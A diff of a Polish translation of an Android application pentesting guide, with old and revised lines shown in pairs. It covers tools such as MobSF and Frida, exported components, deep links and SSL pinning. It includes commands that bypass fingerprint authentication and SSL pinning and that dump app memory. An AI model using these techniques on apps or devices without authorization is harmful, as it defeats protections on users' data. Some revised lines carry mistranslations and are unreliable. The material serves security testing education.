- Jeśli aplikacja jest wrażliwa (jak aplikacje bankowe), powinna przeprowadzać **własne kontrole, aby sprawdzić, czy urządzenie jest zrootowane** i działać w konsekwencji.
- Zaleca się **obfuskację APK**, aby utrudnić pracę inżynierom odwrotnym.
- Jeśli aplikacja jest wrażliwa (jak aplikacje bankowe), powinna przeprowadzać **własne kontrole, aby sprawdzić, czy urządzenie mobilne jest zrootowane** i działać w konsekwencji.
- Jeśli aplikacja jest wrażliwa (jak aplikacje bankowe), powinna sprawdzić, czy używany jest **emulator**.
- Jeśli aplikacja jest wrażliwa (jak aplikacje bankowe), powinna **sprawdzić swoją integralność przed wykonaniem**, aby sprawdzić, czy została zmodyfikowana.
- Użyj [**APKiD**](https://github.com/rednaga/APKiD), aby sprawdzić, który kompilator/pakiet/obfuskator został użyty do zbudowania APK.
@ -181,7 +181,7 @@ Zgodnie z tym [**postem na blogu**](https://clearbluejar.github.io/posts/desuper
### Zautomatyzowana analiza statyczna kodu
Narzędzie [**mariana-trench**](https://github.com/facebook/mariana-trench) jest w stanie znaleźć **luki** poprzez **skanowanie** **kodu** aplikacji. To narzędzie zawiera szereg **znanych źródeł** (które wskazują narzędziu **miejsca**, gdzie **wejście** jest **kontrolowane przez użytkownika**), **sank** (które wskazują narzędziu **niebezpieczne** **miejsca**, gdzie złośliwe dane wejściowe mogą spowodować szkody) i **zasady**. Te zasady wskazują na **kombinację** **źródeł-sank**, które wskazują na lukę.
Narzędzie [**mariana-trench**](https://github.com/facebook/mariana-trench) jest w stanie znaleźć **luki** poprzez **skanowanie** **kodu** aplikacji. To narzędzie zawiera szereg **znanych źródeł** (które wskazują narzędziu **miejsca**, gdzie **wejście** jest **kontrolowane przez użytkownika**), **sinki** (które wskazują narzędziu **niebezpieczne** **miejsca**, gdzie złośliwe dane wejściowe mogą spowodować szkody) oraz **reguły**. Te reguły wskazują na **kombinację** **źródeł-sinków**, które wskazują na lukę.
Dzięki tej wiedzy, **mariana-trench przejrzy kod i znajdzie możliwe luki w nim**.
@ -218,7 +218,7 @@ content-protocol.md
### Analiza dynamiczna online
Możesz założyć **darmowe konto** na: [https://appetize.io/](https://appetize.io). Ta platforma pozwala na **przesyłanie** i **wykonywanie** APK, więc jest przydatna do zobaczenia, jak działa apk.
Możesz założyć **darmowe konto** na: [https://appetize.io/](https://appetize.io). Ta platforma pozwala na **przesyłanie** i **wykonywanie** APK, więc jest przydatna do zobaczenia, jak apk się zachowuje.
Możesz nawet **zobaczyć logi swojej aplikacji** w sieci i połączyć się przez **adb**.
@ -230,7 +230,7 @@ Dzięki połączeniu ADB możesz używać **Drozer** i **Frida** wewnątrz emula
#### Używając emulatora
- [**Android Studio**](https://developer.android.com/studio) (Możesz tworzyć urządzenia **x86** i **arm**, a według [**tego**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**najnowsze wersje x86** obsługują biblioteki ARM bez potrzeby używania wolnego emulatora arm).
- [**Android Studio**](https://developer.android.com/studio) (Możesz tworzyć urządzenia **x86** i **arm**, a według [**tego**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**najnowsze wersje x86** **obsługują biblioteki ARM** bez potrzeby używania wolnego emulatora arm).
- Dowiedz się, jak to skonfigurować na tej stronie:
{{#ref}}
@ -243,11 +243,11 @@ avd-android-virtual-device.md
> [!NOTE]
> Podczas tworzenia nowego emulatora na jakiejkolwiek platformie pamiętaj, że im większy ekran, tym wolniej będzie działał emulator. Wybierz małe ekrany, jeśli to możliwe.
Aby **zainstalować usługi Google** (jak AppStore) w Genymotion, musisz kliknąć na czerwony przycisk zaznaczony na poniższym obrazku:
Aby **zainstalować usługi Google** (jak AppStore) w Genymotion, musisz kliknąć na czerwony oznaczony przycisk na poniższym obrazku:
![](<../../images/image (277).png>)
Zauważ również, że w **konfiguracji Android VM w Genymotion** możesz wybrać **tryb sieciowy Bridge** (to będzie przydatne, jeśli będziesz łączyć się z Android VM z innej VM z narzędziami).
Zauważ również, że w **konfiguracji Android VM w Genymotion** możesz wybrać **tryb sieci mostkowej** (to będzie przydatne, jeśli będziesz łączyć się z Android VM z innej VM z narzędziami).
#### Użyj fizycznego urządzenia
@ -259,8 +259,8 @@ Musisz aktywować opcje **debugowania**, a byłoby dobrze, gdybyś mógł je **z
4. Naciśnij **Numer kompilacji** 7 razy.
5. Wróć i znajdziesz **Opcje dewelopera**.
> Po zainstalowaniu aplikacji pierwszą rzeczą, którą powinieneś zrobić, jest jej przetestowanie i zbadanie, co robi, jak działa i zapoznanie się z nią.\
> Sugeruję **przeprowadzenie tej wstępnej analizy dynamicznej za pomocą analizy dynamicznej MobSF + pidcat**, abyśmy mogli **dowiedzieć się, jak działa aplikacja**, podczas gdy MobSF **zbiera** wiele **interesujących** **danych**, które możesz później przejrzeć.
> Po zainstalowaniu aplikacji, pierwszą rzeczą, którą powinieneś zrobić, jest jej przetestowanie i zbadanie, co robi, jak działa i zapoznanie się z nią.\
> Sugeruję **przeprowadzenie tej wstępnej analizy dynamicznej za pomocą analizy dynamicznej MobSF + pidcat**, abyśmy mogli **nauczyć się, jak działa aplikacja**, podczas gdy MobSF **zbiera** wiele **interesujących** **danych**, które możesz później przejrzeć.
### Niezamierzony wyciek danych
@ -269,7 +269,7 @@ Musisz aktywować opcje **debugowania**, a byłoby dobrze, gdybyś mógł je **z
Deweloperzy powinni być ostrożni w ujawnianiu **informacji debugowania** publicznie, ponieważ może to prowadzić do wycieków wrażliwych danych. Narzędzia [**pidcat**](https://github.com/JakeWharton/pidcat) i `adb logcat` są zalecane do monitorowania logów aplikacji w celu identyfikacji i ochrony wrażliwych informacji. **Pidcat** jest preferowane ze względu na łatwość użycia i czytelność.
> [!WARNING]
> Zauważ, że od **nowszych niż Android 4.0**, **aplikacje mogą uzyskiwać dostęp tylko do swoich własnych logów**. Tak więc aplikacje nie mogą uzyskiwać dostępu do logów innych aplikacji.\
> Zauważ, że od **nowszych wersji niż Android 4.0**, **aplikacje mogą uzyskiwać dostęp tylko do swoich własnych logów**. Tak więc aplikacje nie mogą uzyskiwać dostępu do logów innych aplikacji.\
> Tak czy inaczej, nadal zaleca się **nie logować wrażliwych informacji**.
**Bufor kopiowania/wklejania**
@ -278,7 +278,7 @@ Oparty na **schowku** framework Androida umożliwia funkcjonalność kopiowania
**Logi awarii**
Jeśli aplikacja **zawiesza się** i **zapisuje logi**, te logi mogą pomóc atakującym, szczególnie gdy aplikacja nie może być odwrócona inżynieryjnie. Aby zminimalizować to ryzyko, unikaj logowania w przypadku awarii, a jeśli logi muszą być przesyłane przez sieć, upewnij się, że są wysyłane przez kanał SSL dla bezpieczeństwa.
Jeśli aplikacja **zawiesza się** i **zapisuje logi**, te logi mogą pomóc atakującym, szczególnie gdy aplikacja nie może być odwrócona. Aby zminimalizować to ryzyko, unikaj logowania w przypadku awarii, a jeśli logi muszą być przesyłane przez sieć, upewnij się, że są wysyłane przez kanał SSL dla bezpieczeństwa.
Jako pentester, **spróbuj spojrzeć na te logi**.
@ -288,7 +288,7 @@ Aplikacje często integrują usługi takie jak Google Adsense, co może nieumyś
### Bazy danych SQLite
Większość aplikacji będzie używać **wewnętrznych baz danych SQLite** do przechowywania informacji. Podczas testów penetracyjnych zwróć uwagę na **bazy danych** utworzone, nazwy **tabel** i **kolumn** oraz wszystkie **dane** zapisane, ponieważ możesz znaleźć **wrażliwe informacje** (co byłoby luką).\
Większość aplikacji będzie używać **wewnętrznych baz danych SQLite** do zapisywania informacji. Podczas testów penetracyjnych zwróć uwagę na **bazy danych** utworzone, nazwy **tabel** i **kolumn** oraz wszystkie **dane** zapisane, ponieważ możesz znaleźć **wrażliwe informacje** (co byłoby luką).\
Bazy danych powinny znajdować się w `/data/data/the.package.name/databases`, jak `/data/data/com.mwr.example.sieve/databases`.
Jeśli baza danych zapisuje poufne informacje i jest **szyfrowana**, ale możesz **znaleźć** **hasło** wewnątrz aplikacji, to nadal jest to **luka**.
@ -303,7 +303,7 @@ Drozer jest przydatnym narzędziem do **eksploatacji eksportowanych aktywności,
### Eksploatacja eksportowanych aktywności
[**Przeczytaj to, jeśli chcesz odświeżyć, czym jest aktywność Androida.**](android-applications-basics.md#launcher-activity-and-other-activities)\
Pamiętaj również, że kod aktywności zaczyna się w **metodzie `onCreate`**.
Pamiętaj również, że kod aktywności zaczyna się w metodzie **`onCreate`**.
**Ominięcie autoryzacji**
@ -343,7 +343,7 @@ Dostawcy treści są zasadniczo używani do **dzielenia się danymi**. Jeśli ap
[**Przeczytaj to, jeśli chcesz odświeżyć, czym jest usługa.**](android-applications-basics.md#services)\
Pamiętaj, że działania usługi zaczynają się w metodzie `onStartCommand`.
Usługa to zasadniczo coś, co **może odbierać dane**, **przetwarzać** je i **zwracać** (lub nie) odpowiedź. Jeśli aplikacja eksportuje jakieś usługi, powinieneś **sprawdzić** **kod**, aby zrozumieć, co robi, i **testować****dynamicznie**, aby wyodrębnić poufne informacje, omijając środki autoryzacji...\
Usługa to zasadniczo coś, co **może odbierać dane**, **przetwarzać** je i **zwracać** (lub nie) odpowiedź. Jeśli aplikacja eksportuje jakieś usługi, powinieneś **sprawdzić** **kod**, aby zrozumieć, co robi, i **testować****dynamicznie** w celu wyodrębnienia poufnych informacji, omijania środków autoryzacji...\
[**Dowiedz się, jak wykorzystywać usługi za pomocą Drozer.**](drozer-tutorial/index.html#services)
### **Wykorzystywanie odbiorników rozgłoszeniowych**
@ -351,7 +351,7 @@ Usługa to zasadniczo coś, co **może odbierać dane**, **przetwarzać** je i *
[**Przeczytaj to, jeśli chcesz odświeżyć, czym jest odbiornik rozgłoszeniowy.**](android-applications-basics.md#broadcast-receivers)\
Pamiętaj, że działania odbiornika rozgłoszeniowego zaczynają się w metodzie `onReceive`.
Odbiornik rozgłoszeniowy będzie czekał na określony typ wiadomości. W zależności od tego, jak odbiornik obsługuje wiadomość, może być podatny.\
Odbiornik rozgłoszeniowy będzie czekał na rodzaj wiadomości. W zależności od tego, jak odbiornik obsługuje wiadomość, może być podatny.\
[**Dowiedz się, jak wykorzystywać odbiorniki rozgłoszeniowe za pomocą Drozer.**](#exploiting-broadcast-receivers)
### **Wykorzystywanie schematów / głębokich linków**
@ -361,7 +361,7 @@ Możesz **otworzyć** zadeklarowany **schemat** za pomocą **adb** lub **przegl
```bash
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
```
_Uwaga, że możesz **pominąć nazwę pakietu**, a urządzenie mobilne automatycznie otworzy aplikację, która powinna otworzyć ten link._
_Uwaga, że możesz **pominąć nazwę pakietu**, a urządzenie mobilne automatycznie wywoła aplikację, która powinna otworzyć ten link._
```html
<!-- Browser regular link -->
<a href="scheme://hostname/path?param=value">Click me</a>
@ -381,16 +381,16 @@ Za każdym razem, gdy znajdziesz deep link, sprawdź, czy **nie odbiera wrażliw
**Parametry w ścieżce**
Musisz również sprawdzić, czy jakikolwiek deep link używa parametru wewnątrz ścieżki URL, takiego jak: `https://api.example.com/v1/users/{username}`, w takim przypadku możesz wymusić przejście przez ścieżkę, uzyskując dostęp do czegoś takiego jak: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
Zauważ, że jeśli znajdziesz poprawne punkty końcowe w aplikacji, możesz być w stanie spowodować **Open Redirect** (jeśli część ścieżki jest używana jako nazwa domeny), **przejęcie konta** (jeśli możesz zmodyfikować dane użytkowników bez tokena CSRF, a podatny punkt końcowy używał poprawnej metody) i inne podatności. Więcej [informacji na ten temat tutaj](http://dphoeniixx.com/2020/12/13-2/).
Zauważ, że jeśli znajdziesz poprawne punkty końcowe w aplikacji, możesz być w stanie spowodować **Open Redirect** (jeśli część ścieżki jest używana jako nazwa domeny), **przejęcie konta** (jeśli możesz modyfikować dane użytkowników bez tokena CSRF, a podatny punkt końcowy używał poprawnej metody) i inne podatności. Więcej [informacji na ten temat tutaj](http://dphoeniixx.com/2020/12/13-2/).
**Więcej przykładów**
Ciekawy raport o bug bounty [tutaj](https://hackerone.com/reports/855618) dotyczący linków (_/.well-known/assetlinks.json_).
Ciekawe zgłoszenie bug bounty dotyczące linków (_/.well-known/assetlinks.json_).
### Wykrywanie i weryfikacja warstwy transportowej
### Inspekcja i weryfikacja warstwy transportowej
- **Certyfikaty nie zawsze są odpowiednio sprawdzane** przez aplikacje Android. Często te aplikacje ignorują ostrzeżenia i akceptują certyfikaty samopodpisane lub, w niektórych przypadkach, wracają do używania połączeń HTTP.
- **Negocjacje podczas handshake SSL/TLS są czasami słabe**, wykorzystując niebezpieczne zestawy szyfrów. Ta podatność sprawia, że połączenie jest podatne na ataki typu man-in-the-middle (MITM), umożliwiając atakującym odszyfrowanie danych.
- **Certyfikaty nie zawsze są poprawnie sprawdzane** przez aplikacje Android. Często te aplikacje ignorują ostrzeżenia i akceptują certyfikaty samopodpisane lub, w niektórych przypadkach, wracają do używania połączeń HTTP.
- **Negocjacje podczas handshake SSL/TLS są czasami słabe**, stosując niebezpieczne zestawy szyfrów. Ta podatność sprawia, że połączenie jest podatne na ataki typu man-in-the-middle (MITM), umożliwiając atakującym odszyfrowanie danych.
- **Wycieki prywatnych informacji** są ryzykiem, gdy aplikacje uwierzytelniają się za pomocą bezpiecznych kanałów, ale następnie komunikują się przez kanały niezabezpieczone w innych transakcjach. Takie podejście nie chroni wrażliwych danych, takich jak ciasteczka sesyjne czy dane użytkowników, przed przechwyceniem przez złośliwe podmioty.
#### Weryfikacja certyfikatu
@ -403,28 +403,28 @@ SSL Pinning to środek bezpieczeństwa, w którym aplikacja weryfikuje certyfika
#### Inspekcja ruchu
Aby przeprowadzić inspekcję ruchu HTTP, konieczne jest **zainstalowanie certyfikatu narzędzia proxy** (np. Burp). Bez zainstalowania tego certyfikatu, zaszyfrowany ruch może nie być widoczny przez proxy. Aby uzyskać przewodnik dotyczący instalacji niestandardowego certyfikatu CA, [**kliknij tutaj**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Aby zainstalować ruch HTTP, konieczne jest **zainstalowanie certyfikatu narzędzia proxy** (np. Burp). Bez zainstalowania tego certyfikatu, zaszyfrowany ruch może nie być widoczny przez proxy. Aby uzyskać przewodnik dotyczący instalacji niestandardowego certyfikatu CA, [**kliknij tutaj**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Aplikacje celujące w **API Level 24 i wyżej** wymagają modyfikacji konfiguracji bezpieczeństwa sieci, aby zaakceptować certyfikat CA proxy. Ten krok jest kluczowy dla inspekcji zaszyfrowanego ruchu. Aby uzyskać instrukcje dotyczące modyfikacji konfiguracji bezpieczeństwa sieci, [**odwołaj się do tego samouczka**](make-apk-accept-ca-certificate.md).
Aplikacje celujące w **API Level 24 i wyżej** wymagają modyfikacji konfiguracji bezpieczeństwa sieci, aby zaakceptować certyfikat CA proxy. Ten krok jest kluczowy do inspekcji zaszyfrowanego ruchu. Aby uzyskać instrukcje dotyczące modyfikacji konfiguracji bezpieczeństwa sieci, [**zobacz ten samouczek**](make-apk-accept-ca-certificate.md).
#### Obejście SSL Pinning
Gdy SSL Pinning jest wdrożone, konieczne staje się jego obejście, aby przeprowadzić inspekcję ruchu HTTPS. Istnieje wiele metod w tym celu:
Gdy SSL Pinning jest wdrożone, konieczne staje się jego obejście, aby zainstalować ruch HTTPS. Istnieje wiele metod w tym celu:
- Automatycznie **zmodyfikuj** **apk**, aby **obejść** SSLPinning za pomocą [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Największą zaletą tej opcji jest to, że nie będziesz potrzebować roota, aby obejść SSL Pinning, ale będziesz musiał usunąć aplikację i zainstalować nową, co nie zawsze działa.
- Możesz użyć **Frida** (omówione poniżej), aby obejść tę ochronę. Oto przewodnik, jak używać Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- Możesz użyć **Frida** (omówionej poniżej), aby obejść tę ochronę. Oto przewodnik, jak używać Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- Możesz także spróbować **automatycznie obejść SSL Pinning** za pomocą [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- Możesz również spróbować **automatycznie obejść SSL Pinning** za pomocą **analizy dynamicznej MobSF** (wyjaśnionej poniżej)
- Jeśli nadal uważasz, że istnieje jakiś ruch, którego nie przechwytujesz, możesz spróbować **przekierować ruch do burp za pomocą iptables**. Przeczytaj ten blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### Szukanie powszechnych podatności w sieci
Ważne jest również, aby szukać powszechnych podatności w aplikacji. Szczegółowe informacje na temat identyfikacji i łagodzenia tych podatności wykraczają poza zakres tego podsumowania, ale są szeroko omówione w innych miejscach.
Ważne jest również, aby szukać powszechnych podatności w sieci w aplikacji. Szczegółowe informacje na temat identyfikacji i łagodzenia tych podatności wykraczają poza zakres tego podsumowania, ale są szeroko omówione w innych miejscach.
### Frida
[Frida](https://www.frida.re) to zestaw narzędzi do dynamicznej instrumentacji dla programistów, inżynierów odwrotnych i badaczy bezpieczeństwa.\
**Możesz uzyskać dostęp do działającej aplikacji i podpiąć metody w czasie rzeczywistym, aby zmienić zachowanie, zmienić wartości, wyodrębnić wartości, uruchomić inny kod...**\
**Możesz uzyskać dostęp do działającej aplikacji i podłączyć metody w czasie rzeczywistym, aby zmienić zachowanie, zmienić wartości, wyodrębnić wartości, uruchomić inny kod...**\
Jeśli chcesz przeprowadzić pentesting aplikacji Android, musisz wiedzieć, jak używać Frida.
- Naucz się, jak używać Frida: [**Samouczek Frida**](frida-tutorial/index.html)
@ -435,7 +435,7 @@ Jeśli chcesz przeprowadzić pentesting aplikacji Android, musisz wiedzieć, jak
### **Zrzut pamięci - Fridump**
Sprawdź, czy aplikacja przechowuje wrażliwe informacje w pamięci, których nie powinna przechowywać, takie jak hasła lub mnemoniki.
Sprawdź, czy aplikacja przechowuje wrażliwe informacje w pamięci, które nie powinny być przechowywane, takie jak hasła lub mnemoniki.
Używając [**Fridump3**](https://github.com/rootbsd/fridump3), możesz zrzucić pamięć aplikacji za pomocą:
```bash
@ -460,9 +460,9 @@ Aby uzyskać dostęp do danych wewnątrz keystore, możesz użyć tego skryptu F
```bash
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
```
### **Ominięcie odcisku palca/biometrii**
### **Ominięcie odcisków palców/biometrii**
Używając poniższego skryptu Frida, możliwe jest **ominięcie uwierzytelniania odcisku palca**, które aplikacje Android mogą stosować w celu **ochrony niektórych wrażliwych obszarów:**
Używając poniższego skryptu Frida, możliwe jest **ominięcie uwierzytelniania odcisków palców**, które aplikacje Android mogą stosować w celu **ochrony niektórych wrażliwych obszarów:**
```bash
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
```
@ -474,7 +474,7 @@ Jednakże, jeśli ten zrzut ekranu zawiera **wrażliwe informacje**, ktoś z dos
Zrzuty ekranu są zazwyczaj przechowywane w: **`/data/system_ce/0/snapshots`**
Android zapewnia sposób na **zapobieganie przechwytywaniu zrzutów ekranu, ustawiając parametr układu FLAG_SECURE**. Używając tej flagi, zawartość okna jest traktowana jako bezpieczna, co zapobiega jej pojawianiu się w zrzutach ekranu lub wyświetlaniu na niezabezpieczonych ekranach.
Android zapewnia sposób na **zapobieganie przechwytywaniu zrzutów ekranu, ustawiając parametr układu FLAG_SECURE**. Używając tej flagi, zawartość okna jest traktowana jako bezpieczna, co zapobiega jej pojawianiu się w zrzutach ekranu lub wyświetlaniu na niezabezpieczonych wyświetlaczach.
```bash
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
```
@ -491,19 +491,19 @@ Niebezpieczeństwo polega na umożliwieniu atakującym wywoływania nieeksportow
### Kluczowe Wnioski
- **Wstrzykiwanie Intencji** jest podobne do problemu Open Redirect w sieci.
- Eksploity polegają na przekazywaniu obiektów `Intent` jako dodatkowych, które mogą być przekierowywane do wykonywania niebezpiecznych operacji.
- Wykorzystania polegają na przekazywaniu obiektów `Intent` jako dodatkowych, które mogą być przekierowywane do wykonywania niebezpiecznych operacji.
- Może to ujawniać nieeksportowane komponenty i dostawców treści atakującym.
- Konwersja URL na `Intent` w `WebView` może ułatwiać niezamierzone działania.
### Wstrzyknięcia po stronie klienta Androida i inne
### Wstrzyknięcia po stronie klienta Android i inne
Prawdopodobnie znasz ten rodzaj podatności z sieci. Musisz być szczególnie ostrożny z tymi podatnościami w aplikacji Android:
Prawdopodobnie znasz ten rodzaj luk z sieci. Musisz być szczególnie ostrożny z tymi lukami w aplikacji Android:
- **SQL Injection:** Przy obsłudze dynamicznych zapytań lub dostawców treści upewnij się, że używasz zapytań parametryzowanych.
- **Wstrzykiwanie JavaScript (XSS):** Sprawdź, czy obsługa JavaScript i wtyczek jest wyłączona dla wszelkich WebView (domyślnie wyłączona). [Więcej informacji tutaj](webview-attacks.md#javascript-enabled).
- **Inkluzja lokalnych plików:** WebView powinny mieć wyłączony dostęp do systemu plików (domyślnie włączony) - `(webview.getSettings().setAllowFileAccess(false);)`. [Więcej informacji tutaj](webview-attacks.md#javascript-enabled).
- **Wieczne ciasteczka**: W kilku przypadkach, gdy aplikacja androidowa kończy sesję, ciastko nie jest unieważniane lub może być nawet zapisywane na dysku.
- [**Bezpieczna flaga** w ciastkach](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
- **Wstrzykiwanie JavaScript (XSS):** Sprawdź, czy obsługa JavaScript i wtyczek jest wyłączona dla wszelkich WebViews (domyślnie wyłączona). [Więcej informacji tutaj](webview-attacks.md#javascript-enabled).
- **Inkluzja lokalnych plików:** WebViews powinny mieć wyłączony dostęp do systemu plików (domyślnie włączony) - `(webview.getSettings().setAllowFileAccess(false);)`. [Więcej informacji tutaj](webview-attacks.md#javascript-enabled).
- **Eternal cookies**: W wielu przypadkach, gdy aplikacja android kończy sesję, ciasteczko nie jest unieważniane lub może być nawet zapisywane na dysku.
- [**Secure Flag** w ciasteczkach](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
---
@ -521,7 +521,7 @@ docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
```
Zauważ, że MobSF może analizować **Android**(apk)**, IOS**(ipa) **i Windows**(apx) aplikacje (_Aplikacje Windows muszą być analizowane z MobSF zainstalowanym na hoście Windows_).\
Ponadto, jeśli stworzysz plik **ZIP** z kodem źródłowym aplikacji **Android** lub **IOS** (przejdź do głównego folderu aplikacji, wybierz wszystko i stwórz plik ZIP), również będzie mogło to analizować.
Ponadto, jeśli stworzysz plik **ZIP** z kodem źródłowym aplikacji **Android** lub **IOS** (przejdź do folderu głównego aplikacji, wybierz wszystko i stwórz plik ZIP), będzie w stanie również go przeanalizować.
MobSF pozwala również na **diff/Compare** analizy oraz na integrację z **VirusTotal** (będziesz musiał ustawić swój klucz API w _MobSF/settings.py_ i włączyć go: `VT_ENABLED = TRUE` `VT_API_KEY = <Twój klucz API>` `VT_UPLOAD = TRUE`). Możesz również ustawić `VT_UPLOAD` na `False`, wtedy **hash** zostanie **przesłany** zamiast pliku.
@ -532,9 +532,9 @@ MobSF pozwala również na **diff/Compare** analizy oraz na integrację z **Viru
- **Zrzucić dane aplikacji** (URL-e, logi, schowek, zrzuty ekranu wykonane przez Ciebie, zrzuty ekranu wykonane przez "**Exported Activity Tester**", e-maile, bazy danych SQLite, pliki XML i inne utworzone pliki). Wszystko to odbywa się automatycznie, z wyjątkiem zrzutów ekranu, musisz nacisnąć, gdy chcesz zrzut ekranu lub musisz nacisnąć "**Exported Activity Tester**", aby uzyskać zrzuty ekranu wszystkich eksportowanych aktywności.
- Przechwytywać **ruch HTTPS**
- Używać **Frida** do uzyskiwania **informacji w czasie rzeczywistym**
- Używać **Frida** do uzyskania **informacji w czasie rzeczywistym**
Od wersji Android **> 5**, **automatycznie uruchomi Frida** i ustawi globalne ustawienia **proxy** do **przechwytywania** ruchu. Będzie przechwytywać ruch tylko z testowanej aplikacji.
Od wersji Android **> 5**, automatycznie **uruchomi Frida** i ustawi globalne ustawienia **proxy** do **przechwytywania** ruchu. Będzie przechwytywać ruch tylko z testowanej aplikacji.
**Frida**
@ -542,7 +542,7 @@ Domyślnie będzie również używać niektórych skryptów Frida do **obejścia
MobSF może również **wywoływać eksportowane aktywności**, robić **zrzuty ekranu** z nich i **zapisywać** je do raportu.
Aby **rozpocząć** testowanie dynamiczne, naciśnij zielony przycisk: "**Start Instrumentation**". Naciśnij "**Frida Live Logs**", aby zobaczyć logi generowane przez skrypty Frida i "**Live API Monitor**", aby zobaczyć wszystkie wywołania do podłączonych metod, przekazywane argumenty i zwracane wartości (to pojawi się po naciśnięciu "Start Instrumentation").\
MobSF pozwala również na załadowanie własnych **skryptów Frida** (aby wysłać wyniki swoich skryptów Frida do MobSF, użyj funkcji `send()`). Ma również **kilka wstępnie napisanych skryptów**, które możesz załadować (możesz dodać więcej w `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), wystarczy **je wybrać**, nacisnąć "**Load**" i nacisnąć "**Start Instrumentation**" (będziesz mógł zobaczyć logi tych skryptów w "**Frida Live Logs**").
MobSF pozwala również na załadowanie własnych **skryptów Frida** (aby wysłać wyniki swoich skryptów Frida do MobSF, użyj funkcji `send()`). Ma również **kilka wcześniej napisanych skryptów**, które możesz załadować (możesz dodać więcej w `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), wystarczy **je wybrać**, nacisnąć "**Load**" i nacisnąć "**Start Instrumentation**" (będziesz mógł zobaczyć logi tych skryptów w "**Frida Live Logs**").
![](<../../images/image (419).png>)
@ -559,7 +559,7 @@ Gdy wybierzesz moduł pomocniczy, który chcesz użyć, musisz nacisnąć "**Sta
**Shell**
Mobsf oferuje również powłokę z niektórymi **adb** komendami, **komendami MobSF** i powszechnymi **komendami powłoki** na dole strony analizy dynamicznej. Niektóre interesujące komendy:
Mobsf oferuje również powłokę z niektórymi poleceniami **adb**, **komendami MobSF** i powszechnymi **poleceniami powłoki** na dole strony analizy dynamicznej. Niektóre interesujące polecenia:
```bash
help
shell ls
@ -570,7 +570,7 @@ receivers
```
**Narzędzia HTTP**
Gdy ruch http jest przechwytywany, możesz zobaczyć brzydki widok przechwyconego ruchu na "**HTTP(S) Traffic**" na dole lub ładniejszy widok w "**Start HTTPTools**" na zielonym przycisku. Z drugiej opcji możesz **wysłać** **przechwycone żądania** do **proxy** takich jak Burp lub Owasp ZAP.\
Gdy ruch http jest przechwytywany, możesz zobaczyć brzydki widok przechwyconego ruchu na "**HTTP(S) Traffic**" na dole lub ładniejszy widok w zielonym przycisku "**Start HTTPTools**". Z drugiej opcji możesz **wysłać** **przechwycone żądania** do **proxy** takich jak Burp lub Owasp ZAP.\
Aby to zrobić, _włącz Burp -->_ _wyłącz Intercept --> w MobSB HTTPTools wybierz żądanie_ --> naciśnij "**Send to Fuzzer**" --> _wybierz adres proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
Po zakończeniu analizy dynamicznej z MobSF możesz nacisnąć "**Start Web API Fuzzer**", aby **fuzzować żądania http** i szukać luk.
@ -585,7 +585,7 @@ Po zakończeniu analizy dynamicznej z MobSF możesz nacisnąć "**Start Web API
### Wspomagana analiza dynamiczna z Inspeckage
Możesz pobrać narzędzie z [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
To narzędzie użyje kilku **Hooków**, aby poinformować cię **co się dzieje w aplikacji** podczas przeprowadzania **analizy dynamicznej**.
To narzędzie użyje kilku **Hooks**, aby poinformować cię **co się dzieje w aplikacji** podczas przeprowadzania **analizy dynamicznej**.
### [Yaazhini](https://www.vegabird.com/yaazhini/)
@ -617,7 +617,7 @@ reverse-apk relative/path/to/APP.apk
SUPER to aplikacja działająca w wierszu poleceń, która może być używana w systemach Windows, MacOS X i Linux, analizująca pliki _.apk_ w poszukiwaniu luk. Robi to, dekompresując APK i stosując szereg reguł w celu wykrycia tych luk.
Wszystkie reguły są skoncentrowane w pliku `rules.json`, a każda firma lub tester może stworzyć własne reguły, aby analizować to, czego potrzebują.
Wszystkie reguły są zawarte w pliku `rules.json`, a każda firma lub tester może stworzyć własne reguły, aby analizować to, czego potrzebują.
Pobierz najnowsze pliki binarne z [strony pobierania](https://superanalyzer.rocks/download.html)
```
@ -627,17 +627,17 @@ super-analyzer {apk_file}
![](<../../images/image (297).png>)
StaCoAn to **narzędzie wieloplatformowe**, które wspomaga programistów, łowców błędów i etycznych hakerów w przeprowadzaniu [analizy statycznej kodu](https://en.wikipedia.org/wiki/Static_program_analysis) aplikacji mobilnych.
StaCoAn to **narzędzie wieloplatformowe**, które pomaga deweloperom, łowcom błędów i etycznym hakerom w przeprowadzaniu [analizy statycznej kodu](https://en.wikipedia.org/wiki/Static_program_analysis) aplikacji mobilnych.
Koncepcja polega na tym, że przeciągasz i upuszczasz plik swojej aplikacji mobilnej (plik .apk lub .ipa) na aplikację StaCoAn, a ona wygeneruje dla Ciebie wizualny i przenośny raport. Możesz dostosować ustawienia i listy słów, aby uzyskać spersonalizowane doświadczenie.
